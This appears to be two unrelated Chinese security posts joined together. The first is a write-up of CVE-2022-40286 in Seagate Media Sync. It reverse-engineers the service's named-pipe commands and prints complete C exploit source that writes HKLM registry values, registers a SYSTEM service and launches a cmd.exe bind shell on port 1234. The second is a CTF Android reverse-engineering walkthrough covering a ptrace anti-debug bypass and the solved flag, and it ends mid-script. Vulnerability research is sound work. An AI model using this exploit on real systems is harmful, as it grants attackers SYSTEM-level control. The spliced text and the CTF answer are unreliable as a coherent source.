利用Seagate service获得system shell
这是挖掘 CVE-2022-40286 漏洞的记录。
闲来无事,我上网随便找了一个驱动来进行测试。我想找一个知名公司的产品,但是又不能是太偏太难懂的东西。
我最先发现了一个叫"Seagate Media Sync"的软件,这是一个将文件复制到希捷无线硬盘上的工具。之后我安装并运行了该软件,然后我发现它创建了一个名为"MediaAggreService.exe"的后台SYSTEM服务。
然后发现这个工具还有一个UI安装程序。
我们一般常见的查找权限提升的方式是对低权限的进程(UI)和高权限服务(或驱动)之间的内部通信进行攻击开始的。要想使用这个方法,首先第一步我们要能够监控的来自UI的合法通信。然而,由于我没有与之配套的希捷硬盘,我们只能使用这个程序中非常少的功能。
通过查看进程资源管理器发现,该服务还包含了一个处理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜测这个管道可能是用于用户界面(stxmediamanager.exe)和服务(MediaAggreService.exe)之间的通信。
通过观察用户界面,似乎我们可以点击的唯一按钮就是 "刷新"按钮。希望这能够让我们监控到一些服务通信。我们将调试器连接到用户界面进程,并在CreateFile和WriteFile函数上设置断点。
如上所示,当我们点击 "刷新 "按钮时,UI进程使用CreateFile函数进行了一个命名管道连接。我们可以检查之后调用的WriteFile函数来记录消息数据的内容。以下是写数据操作。
根据以上内容,我们可以猜测,第一个消息是一个4字节长度的字段,表示消息体的大小。第二条信息则是真实的命令数据。在这个事件中,它正在发送一条消息体长度为8个字节的命令。最初的4字节长度值与第二个WriteFile调用的nNumberOfBytesToWrite参数一致,这正符合我们的预期。我们现在可以检查该信息传递过程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函数上设置一个断点,该断点应该会在UI客户端调用CreateFile函数时触发。
然后我们现在可以在ReadFile函数上设置一个断点,这样就可以看到从客户端发送的数据。
现在我们已经找到了该服务中读取数据的代码,然后我们可以跟踪代码的执行流程。由于目前我们只能访问用户界面中的 "刷新 "命令,因此我们很有必要再进行一些静态分析,看看还有哪些命令可用。
在花了一些时间分析代码后,我可以看到每个命令都是以一个16位的签名(0x4B5C)开始的。之后是一个16位的 主命令ID,然后是一个32位的次命令ID。
001145BB | BA 5C4B0000 | mov edx,4B5C | set expected command header signature: 0x4B5C
001145C0 | 0FB708 | movzx ecx,word ptr ds:[eax] | get actual command header signature value
001145C3 | 66:3BCA | cmp cx,dx | check 16-bit signature value
001145C6 | 74 1A | je mediaaggreservice.1145E2 | jump if signature matches
001145C8 | 51 | push ecx |
001145C9 | 68 D8391200 | push mediaaggreservice.1239D8 | "[PIPE] Failure: Bad Signature 0x%X"
001145CE | 68 F0841400 | push mediaaggreservice.1484F0 |
001145D3 | E8 D866FFFF | call mediaaggreservice.10ACB0 | add_log_entry
001145D8 | 83C4 0C | add esp,C |
001145DB | 33C0 | xor eax,eax |
001145DD | 5E | pop esi |
001145DE | 8BE5 | mov esp,ebp |
001145E0 | 5D | pop ebp |
001145E1 | C3 | ret | error, return
001145E2 | 57 | push edi |
001145E3 | FF70 04 | push dword ptr ds:[eax+4] | log minor command ID (32-bit)
001145E6 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | log major command ID (16-bit)
001145EA | 50 | push eax |
001145EB | 68 203A1200 | push mediaaggreservice.123A20 | "[PIPE] Command major/minor: [0x%X:0x%X]"
001145F0 | 68 F0841400 | push mediaaggreservice.1484F0 |
001145F5 | E8 7667FFFF | call mediaaggreservice.10AD70 | add_log_entry
001145FA | 8B86 D0F00100 | mov eax,dword ptr ds:[esi+1F0D0] |
00114600 | C745 F8 00000000 | mov dword ptr ss:[ebp-8],0 |
00114607 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | get major command value (message_base + 0x2)
0011460B | 83C4 10 | add esp,10 |
0011460E | 83F8 10 | cmp eax,10 | check if the major command value is 0x10
00114611 | 74 60 | je mediaaggreservice.114673 | jump to 0x10 command switch
00114613 | 83F8 20 | cmp eax,20 | check if the major command value is 0x20
00114616 | 74 1A | je mediaaggreservice.114632 | jump to 0x20 command switch
00114618 | 68 C83A1200 | push mediaaggreservice.123AC8 | "[PIPE] Failure: Unknown Major Command"
0011461D | 68 F0841400 | push mediaaggreservice.1484F0 |
00114622 | E8 8966FFFF | call mediaaggreservice.10ACB0 | add_log_entry
通过代码我们也可以看到,该服务似乎只支持两个主命令ID -- 0x10和0x20。发现这些线索后,我们现在可以解码我们先前记录的原始的 "刷新 "命令了。
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x1)
(no message body)
在观察分析了两个主命令组的代码后,我注意到0x10命令组包含了一个调用内部函数 MXOSRVSetRegKey 的条目,这个条目的次命令ID为0x400。
001136E4 | 68 08300000 | push 3008 | total message length
001136E9 | 8D47 08 | lea eax,dword ptr ds:[edi+8] |
001136EC | 50 | push eax |
001136ED | 8DB3 C0A90100 | lea esi,dword ptr ds:[ebx+1A9C0] |
001136F3 | 56 | push esi |
001136F4 | E8 5F560000 | call <JMP.&memcpy> | copy command message body
001136F9 | FFB3 C0D90100 | push dword ptr ds:[ebx+1D9C0] |
001136FF | 8D83 C0C90100 | lea eax,dword ptr ds:[ebx+1C9C0] |
00113705 | 50 | push eax |
00113706 | 8D83 C0B90100 | lea eax,dword ptr ds:[ebx+1B9C0] |
0011370C | 50 | push eax |
0011370D | 56 | push esi |
0011370E | FF15 68D31100 | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>] | execute command
顾名思义,MXOSRVSetRegKey 函数的作用似乎就是设置一个注册表值,如果该键不存在,那么就创建该键。
70F25590 | 55 | push ebp |
70F25591 | 8BEC | mov ebp,esp |
70F25593 | 83EC 08 | sub esp,8 |
70F25596 | 8D45 F8 | lea eax,dword ptr ss:[ebp-8] |
70F25599 | 50 | push eax |
70F2559A | 8D45 FC | lea eax,dword ptr ss:[ebp-4] |
70F2559D | 50 | push eax |
70F2559E | 6A 00 | push 0 |
70F255A0 | 68 3F000F00 | push F003F |
70F255A5 | 6A 00 | push 0 |
70F255A7 | 68 6823F370 | push stxmediadevif.70F32368 |
70F255AC | 6A 00 | push 0 |
70F255AE | FF75 08 | push dword ptr ss:[ebp+8] |
70F255B1 | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 |
70F255B8 | 68 02000080 | push 80000002 |
70F255BD | FF15 1020F370 | call dword ptr ds:[<&RegCreateKeyExW>] |
70F255C3 | 85C0 | test eax,eax |
70F255C5 | 75 1E | jne stxmediadevif.70F255E5 |
70F255C7 | FF75 14 | push dword ptr ss:[ebp+14] |
70F255CA | FF75 10 | push dword ptr ss:[ebp+10] |
70F255CD | 6A 01 | push 1 |
70F255CF | 50 | push eax |
70F255D0 | FF75 0C | push dword ptr ss:[ebp+C] |
70F255D3 | FF75 FC | push dword ptr ss:[ebp-4] |
70F255D6 | FF15 0420F370 | call dword ptr ds:[<&RegSetValueExW>] |
70F255DC | FF75 FC | push dword ptr ss:[ebp-4] |
70F255DF | FF15 0020F370 | call dword ptr ds:[<&RegCloseKey>] |
70F255E5 | 33C0 | xor eax,eax |
70F255E7 | 8BE5 | mov esp,ebp |
70F255E9 | 5D | pop ebp |
70F255EA | C3 | ret |
通过对这段代码的分析表明,该命令很有可能会允许我们通过客户端进程远程创建或者修改注册表字符串值。注册表的根键被硬编码为HKEY_LOCAL_MACHINE(在RegCreateKeyExW调用中推0x80000002)。在对这些函数进行逆向分析后,我们发现这个命令接收的消息数据格式如下所示。
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x400)
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> Value (wide-char)
0x3000 -> Value Length (DWORD)
0x3004 -> (Unused)
由于类型字段被硬编码为REG_SZ(在RegSetValueExW调用中push 1),所以上面的命令只支持字符串值 。
我还发现了另一个命令ID(0x410),它允许我们以同样的方式设置REG_DWORD值。这个命令接收的消息数据格式如下。
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x410)
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> (Unused)
0x3000 -> (Unused)
0x3004 -> Value (DWORD)
从上面的命令数据布局可以看出,我们可以推断出这两个命令应该有一个相同的数据结构。我们可以用C结构来表示,如下。
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
WORD wSignature;
WORD wMajorCommandID;
DWORD dwMinorCommandID;
};
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
wchar_t wszKeyPath[2048];
wchar_t wszValueName[2048];
wchar_t wszValueString[2048];
DWORD dwValueStringLength;
DWORD dwDwordValue;
};
假设我们的上述猜想都是正确的,这也就意味着,任何用户都能够通过向seagate服务管道发送命令,向HKEY_LOCAL_MACHINE内的任何键写入任意的注册表值。如果这可以实现,这也就意味着我们对于权限的提升就有了一个很明确的利用途径。
所以根据我们分析得到的结果,编写一个自定义的管道客户端来测试我们的猜想。
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
{
HANDLE hPipe = NULL;
DWORD dwBytesWritten = 0;
DWORD dwDataLength = 0;
SeagateCommandHeaderStruct SeagateCommandHeader;
BYTE *pDataBlock = NULL;
// open seagate media sync pipe
hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hPipe == INVALID_HANDLE_VALUE)
{
return 1;
}
// initialise command header
memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
SeagateCommandHeader.wSignature = 0x4B5C;
SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
// calculate total data length
dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
// write data length to pipe
if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
{
CloseHandle(hPipe);
return 1;
}
// allocate buffer to combine the command header and data
pDataBlock = (BYTE*)malloc(dwDataLength);
if(pDataBlock == NULL)
{
return 1;
}
// copy the header and data into the data buffer
memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
// write the message to the pipe
if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
{
free(pDataBlock);
CloseHandle(hPipe);
return 1;
}
// free buffer
free(pDataBlock);
// close pipe
CloseHandle(hPipe);
return 0;
}
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (string)
memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
// send command
if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value");
上面的代码是连接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test内创建一个注册表值。然后我们将会以普通用户的身份来执行这个程序。
经过测试可以发现,这段代码可以正常执行,并成功创建了目标注册表值。对注册表HKEY_LOCAL_MACHINE的操作也为攻击提供了更多的可能性。在这种情况下,我们可以通过向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表键添加条目来创建一个自定义服务。
通常我们不会部署一个单独的exe来作为SYSTEM服务的有效载荷,而是将这一功能放到可执行文件中。这个执行程序将会首先检查它是否是以SYSTEM用户的身份运行。如果不是,它将会执行默认的行为,并通过希捷服务管道创建一个新的服务,如上所述。否则,如果exe检测到它是以SYSTEM服务的身份运行,它将会部署主要的有效载荷,这将会创建一个shell。
总而言之,这个POC工具将执行以下步骤。
使用CreateFile通过命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP连接到希捷服务。
使用GetModuleFileName获取当前exe的文件路径。
通过向希捷服务的命名管道发送注册表命令,创建一个新的Windows服务。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一个新条目,使用当前的exe作为进程路径。
重新启动计算机。
Windows将在启动时自动启动我们新创建的服务。可执行程序将检测到它是以SYSTEM身份运行的,并监听1234端口的TCP连接。
当用户连接到localhost:1234时,漏洞服务将会以SYSTEM的身份启动一个新的cmd.exe进程,stdin/stdout会被重定向到客户端套接字。
执行后
重启计算机
链接到 localhost:1234
最终,这个漏洞编号为 CVE-2022-40286。
以下是完整的利用代码。
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
WORD wSignature;
WORD wMajorCommandID;
DWORD dwMinorCommandID;
};
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
wchar_t wszKeyPath[2048];
wchar_t wszValueName[2048];
wchar_t wszValueString[2048];
DWORD dwValueStringLength;
DWORD dwDwordValue;
};
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
{
HANDLE hPipe = NULL;
DWORD dwBytesWritten = 0;
DWORD dwDataLength = 0;
SeagateCommandHeaderStruct SeagateCommandHeader;
BYTE *pDataBlock = NULL;
// open seagate media sync pipe
hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hPipe == INVALID_HANDLE_VALUE)
{
return 1;
}
// initialise command header
memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
SeagateCommandHeader.wSignature = 0x4B5C;
SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
// calculate total data length
dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
// write data length to pipe
if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
{
CloseHandle(hPipe);
return 1;
}
// allocate buffer to combine the command header and data
pDataBlock = (BYTE*)malloc(dwDataLength);
if(pDataBlock == NULL)
{
return 1;
}
// copy the header and data into the data buffer
memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
// write the message to the pipe
if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
{
free(pDataBlock);
CloseHandle(hPipe);
return 1;
}
// free buffer
free(pDataBlock);
// close pipe
CloseHandle(hPipe);
return 0;
}
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (string)
memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
// send command
if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (dword)
memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwDwordValue = dwValue;
// send command
if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
DWORD StartBindShell(WORD wPort)
{
sockaddr_in SockAddr;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
SOCKET ListenSocket = 0;
SOCKET AcceptSocket = 0;
// create listen socket
ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if(ListenSocket == INVALID_SOCKET)
{
return 1;
}
// set socket addr info
memset((void*)&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(wPort);
SockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
// bind socket
if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
{
closesocket(ListenSocket);
return 1;
}
// listen
if(listen(ListenSocket, 1) == SOCKET_ERROR)
{
closesocket(ListenSocket);
return 1;
}
// wait for clients
for(;;)
{
// wait for connection
AcceptSocket = accept(ListenSocket, NULL, NULL);
if(AcceptSocket == INVALID_SOCKET)
{
closesocket(ListenSocket);
return 1;
}
// set StartupInfo fields - redirect input/output to socket
memset((void*)&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.hStdInput = (HANDLE)AcceptSocket;
StartupInfo.hStdOutput = (HANDLE)AcceptSocket;
StartupInfo.hStdError = (HANDLE)AcceptSocket;
// create cmd.exe process with inherited handles
memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo));
if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0)
{
closesocket(AcceptSocket);
closesocket(ListenSocket);
return 1;
}
// client socket has been passed to cmd.exe - close socket in local process
closesocket(AcceptSocket);
}
// close listen socket
closesocket(ListenSocket);
return 0;
}
DWORD ConfirmSystemUser()
{
HANDLE hToken = NULL;
BYTE bTokenUser[1024];
DWORD dwLength = 0;
SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority;
TOKEN_USER *pTokenUser = NULL;
void *pSystemSid = NULL;
// open process token
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0)
{
return 1;
}
// get user SID
pTokenUser = (TOKEN_USER*)bTokenUser;
if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0)
{
CloseHandle(hToken);
return 1;
}
// close token handle
CloseHandle(hToken);
// SECURITY_NT_AUTHORITY
SidIdentifierAuthority.Value[0] = 0;
SidIdentifierAuthority.Value[1] = 0;
SidIdentifierAuthority.Value[2] = 0;
SidIdentifierAuthority.Value[3] = 0;
SidIdentifierAuthority.Value[4] = 0;
SidIdentifierAuthority.Value[5] = 5;
// get SYSTEM user SID
if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0)
{
return 1;
}
// check if this is the SYSTEM user
if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0)
{
FreeSid(pSystemSid);
return 1;
}
// clean up
FreeSid(pSystemSid);
return 0;
}
DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath)
{
char szServiceKey[512];
char szImagePath[512];
char szWindowsDir[512];
// get windows directory
memset(szWindowsDir, 0, sizeof(szWindowsDir));
GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1);
// set service key
memset(szServiceKey, 0, sizeof(szServiceKey));
_snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName);
// set image path
// (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests)
memset(szImagePath, 0, sizeof(szImagePath));
_snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath);
// set registry value
if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0)
{
return 1;
}
// set registry value
if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "Start", 2) != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "Type", 16) != 0)
{
return 1;
}
return 0;
}
int main()
{
WSADATA WinsockData;
char szPath[512];
// check if this process is running as SYSTEM user
if(ConfirmSystemUser() == 0)
{
// initialise winsock
if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0)
{
return 1;
}
// ready - start tcp bind shell on port 1234
if(StartBindShell(1234) != 0)
{
return 1;
}
}
else
{
printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n");
printf("x86matthew (www.x86matthew.com)\n\n");
printf("Retrieving current exe path...\n");
// get current exe path
memset(szPath, 0, sizeof(szPath));
if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
{
printf("Error: Failed to get current exe path\n");
return 1;
}
printf("Creating service...\n");
// create service
if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0)
{
printf("Error: Failed to add service via Seagate Media Sync service\n");
return 1;
}
printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n");
}
return 0;
}
一道Android题目逆向动态调试
题目来源于海淀区网络与信息安全管理员大赛,题目中将加密验证算法打包进.so,在程序中动态调用check。
本题目通过System.loadLibrary("native-lib")加载了libnative-lib.so文件,该文件通过jeb可以实现提取
图1 题目关键代码
调试环境选择与配置
mumu模拟器 x64位版本,测试后发现sprintf会导致程序崩溃
夜神模拟器x64,x32的版本经过测试后,sprintf均导致程序崩溃
雷电5模拟器测试后,sprintf导致程序崩溃,动态调试libnative-lib.so时,且无法下载libart.so
最终选用 mumu x32位版本可以进行调试
动态调试选用IDA+MUMU x86模拟器对动态库libnative-lib.so调试
调试环境
adb的基础配置
mumu模拟器使用的adb为adb_server.exe,这里将adb_server.exe为便于使用重新命名为adb.exe,打开一个cmd终端,adb 接入模拟器中
adb connect 127.0.0.1:7555
图2 adb 服务端连接
通过adb 将apk 包安装进安卓的模拟器
adb install test.apk
通过cmd再打开一个终端,通过adb shell可以直接进入到模拟器shell中
图3 adb shell连接
应用程序的配置
在新起的cmd终端,通过动态调试模式来启动app
./adb shell am start -D -n com.example.dynamic/.MainActivity
android包实际的packet以及类如下图所示com.example.dynamic/.MainActivity
图4 adb 启动程序分析
运行 adb shell am start命令后,mumu模拟器中如图5所示
图5 adb 动态调试程序
IDA 的配置
上传IDA的动态服务端android_x86_server到模拟器/data/local/tmp中,tmp文件夹是具有可执行权限的
./adb push android_x86_server /data/local/tmp
图6 查看tmp文件夹权限
赋予android_x86_server可执行权限
chmod +x android_x86_server
执行android_x86_server,会监听23946端口,但是仍需要通过adb进行端口转发转发到本地监听
./adb.exe forward tcp:23946 tcp:23946
图7 启动IDA 调试server端
通过以上步骤使启动服务端IDA的监听
配置本地IDA remote linux debug参数,如图8所示
图8 配置IDA动态调试
通过attach process 打开远程端的进程
图9 IDA远程attach
选择对应的进程,这里选用1535进程
‘
图10 附加到指定进程
通过以上步骤,将IDA 服务端和.so文件关联到一起,仍需要唤醒被调试的程序,此时mumu模拟器中仍旧如图11所示
图11 dynamic程序界面
通过jdb来唤醒被调试程序,本机调试的时候jdb使用java sdk自带的jdb,需要两步操作
通过adb将进程进行转发,进程号是图n中所示的1535
./adb forward tcp:8700 jdwp:1535
通过jdb唤醒操作
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
再回到IDA中,选择F9继续运行程序,会弹出框选择本地程序与远程是否一样选项框,主要匹配的是动态库libnative-lib.so这个名字
图12 IDA提示检测到本地.so
IDA中断点断在ptrace前,mumu模拟器中界面未完全同步
图13 附加到调试进程后,dynamic界面
IDA中界面如下
图14 IDA中显示断点
.so的调试
反调试绕过
该.so使用了ptrace 反调试,在ptrace处设置断点,下断点的时候有两种方案
一种是设置IDA 的调试调试,设置载入lib的时候suspend
图15 IDA调试选项配置
当看到IDA中载入libnative-lib.so时,通过快捷键Ctrl-S打开加载的段,查找libnative-lib.so所在内存1
图16 查看IDA中的代码段
还可以在模拟器shell中,查看具体的内存信息
图17 adb shell中查看内存中的数据地址分布
在动态调试的过程中,重置ptrace 的返回值,绕过该处反调试
图18 重置eax的值
可以直接右键或者在eax寄存器上使用快捷键0重置
另外一种方式是直接在ptrace上下断点,在调试的时候当IDA弹窗如图17所示时,程序会直接断在ptrace断点处。如果没有弹出该弹窗,直接在IDA中分析该so时下的断点无效。
图19 重置eax的值
注册native的方法
在 Native文件中代码如下
static JNINativeMethod jniMethods[] = {
{"check", "(Ljava/lang/String;)Z", (void *)hello},
};
boolean xxxx( char* s) {
// do something
return JNI_TRUE;
}
#在JNI_OnLoad中调用RegisterNatives方法注册Natives方法到JVM,建立映射关系。
int JNI_OnLoad(JavaVM *vm, void *reserved)
{
JNIEnv *env;
if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) {
return JNI_ERR;
}
jclass cls = (*env)->FindClass(env, "LHelloJNI");
if (cls == NULL)
return JNI_ERR;
int len = sizeof(jniMethods) / sizeof(jnimethods[0]);
(*env)->RegisterNatives(env, cls, jniMethods, len);
return JNI_VERSION_1_4;
}
check 函数的定位
在apk文件中,反编译后可以看到check函数位于libnative-lib.so中,但是libnative-lib.so中并没有check函数
图20 查找check函数
Java调用.so库函数可以通过静态注册和动态注册两种方式,题目通过动态注册的方式来对函数进行调用
在上图中methods一列,是一个JNINativeMethod的数组,JNINativeMethod结构包含三个成员
const char \*name: Java中声明的native方法。
const char \*signature:方法的签名。
void \*fnPtr: 函数指针
在题目的methods中,check字符串,对应的函数指针为Z4xxxxP7_JNIEnvP8_jobjectP8_jstring ; xxxx(JNIEnv *,jobject *,jstring *)也就是xxxx函数。
图21 定位check函数
MD5的简单调试
MD5_init的过程如下,根据初始值可以大概判定题目通过md5算hash值
*(_OWORD *)v63 = xmmword_B2E6FA40;
.rodata:B2E6FA40 xmmword_B2E6FA40 xmmword 1032547698BADCFEEFCDAB8967452301h
经过fff函数转换后的md5值放入[esp+0B4]中
.text:B2E51040 8D 84 24 B4 00 00 00 lea eax, [esp+0B4h]
.text:B2E51047 89 44 24 04 mov [esp+4], eax
.text:B2E5104B 8D 44 24 58 lea eax, [esp+58h]
.text:B2E5104F 89 04 24 mov [esp], eax
.text:B2E51052 E8 A9 E7 FF FF call __Z4ffffP7MD5_CTXPh ; ffff(MD5_CTX *,uchar *)
读取[esp+0xB4]的值
Python>esp=get_reg_value('esp')
Python>data=get_bytes(esp+0xb4,16)
Python>data.hex()
'a82e0cb168bfe134f22dbde167cf046c'
通过python计算wojiushidaan0!!!的md5值为
>>> import hashlib
>>> result=hashlib.md5("wojiushidaan0!!!".encode())
>>> result
<md5 _hashlib.HASH object @ 0x00000167FF8BDEF0>
>>> result.hexdigest()
'a82e0cb168bfe134f22dbde167cf046c'
两者可以对应起来,题目计算了wojiushidaan0!!!的md5值
程序最终经过memcmp比较的时候的值为
.text:B2F11398 89 54 24 08 mov [esp+8], edx
.text:B2F1139C 8B 44 24 14 mov eax, [esp+14h]
.text:B2F113A0 89 44 24 04 mov [esp+4], eax ; s2
.text:B2F113A4 89 0C 24 mov [esp], ecx ; s1
.text:B2F113A7 E8 84 E4 FF FF call _memcmp
提取eax的值为
b'c640fc761edbd22f431efb861bc0e28a'
提取ecx的值为
b'12345678123456781234567812345678'
程序的输入为
图22 调试flag结果
推导可知题目的正确输入为
flag{c640fc761edbd22f431efb861bc0e28a}
图23 验证flag结果
在调试md5的时候,使用了IDA的上色功能,通过单步步过调试,给执行过的代码染色
IDAPro 单步步过上色调试脚本
def get_new_color(current_color):
colors = [0xffe699, 0xffcc33, 0xe6ac00, 0xb38600]
if current_color == 0xFFFFFF:
return colors[0]
if current_color in colors:
pos = colors.index(current_color)
if pos == len(colors)-1:
return colors[pos]
else:
return colors[pos+1]
return 0xFFFFFF
addr = ida_dbg.get_ip_val()
while addr < 0xB2ED241F:
